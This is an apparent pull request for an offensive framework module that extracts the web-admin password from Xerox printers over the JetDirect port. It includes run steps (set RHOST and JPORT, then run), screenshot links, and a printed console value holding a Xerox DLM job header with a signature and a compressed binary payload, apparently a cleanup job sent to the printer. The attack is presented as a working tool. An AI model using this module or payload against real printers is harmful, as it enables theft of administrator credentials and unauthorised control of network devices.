Xerox Admin password extractor.

This PR is for the Praedasploit module that extracts the admin password for the web administrator interface on Xerox printers. 

Below is an example of the options available in the module.
![xerox-options](https://cloud.githubusercontent.com/assets/3900108/4802106/1eafba0e-5e3e-11e4-9e78-57ba7cb6802d.png)

Testing Steps:
set JPORT to the JetDirect port on the remote Xerox printer
Set RHOST to the IP address of the remote Xerox printer
Run the module and see the magic happen.

Below is an example of the output when the module is run. 
![console_pwd_enum-working](https://cloud.githubusercontent.com/assets/3900108/4802235/800b4c62-5e40-11e4-8f0e-9236ea34d1db.png)

Please let me know if you have any questions. 
```
1.9.3-p547 :089 > removeurl
 => "%%XRXbegin\n%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE\n%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE\n%%OID_ATT_JOB_COMMENT \"Mon Nov 14 13:50:21 EST 2011\"\n%%OID_ATT_JOB_COMMENT \"patch Mon Jul 29 15:41:45 EDT 2013\"\n%%OID_ATT_DLM_NAME \"xerox\"\n%%OID_ATT_DLM_VERSION \"NO_DLM_VERSION_CHECK\"\n%%OID_ATT_DLM_SIGNATURE \"8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491\"\n%%OID_ATT_DLM_EXTRACTION_CRITERIA \"extract /tmp/xerox.dnld\"\n%%XRXend\n\u001F\x8B\b\u0000]\xC5\xF6Q\u0000\u0003\xED\xD2\xCD\n\xC20\f\xC0\xF1\x9E}\x8A\x89w\xD3nֽ\x86\xAFP\xB7\xC1\u0004\xF7A\xDBA\u001F\xDFm\"xғ\x88\xF8\xFFA\x92CrH \xA9\\xF1CڇV}\x90\x9E\x95\xA5]\xAA)\xAD~\xAE+\x93\e5Gi\xED!/\n\xA3\xB41GmU\xA6?\xB9\xD4\xC3\u0014\xA2\xF3Y\xA6\xC6\xC6W\xE9\xC5ܻ\xFE\x8F\xDAm\xE5|\xE9\xE5\xECB\xBB\xF1]&S\xFF0\u0012Z\xE7\eic\u001C\xEB9\xD7C\u0015\xE4\xE4]S\xBB}Lq\x9D\u001A\xC6(}%\xF5\xB5\v\x92\x96\u000F\xBA\xE7\xF9\x8F6\xDF>\b\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xFE\xC4\r@\nu\xE1\u0000(\u0000\u0000" 
1.9.3-p547 :090 > 
```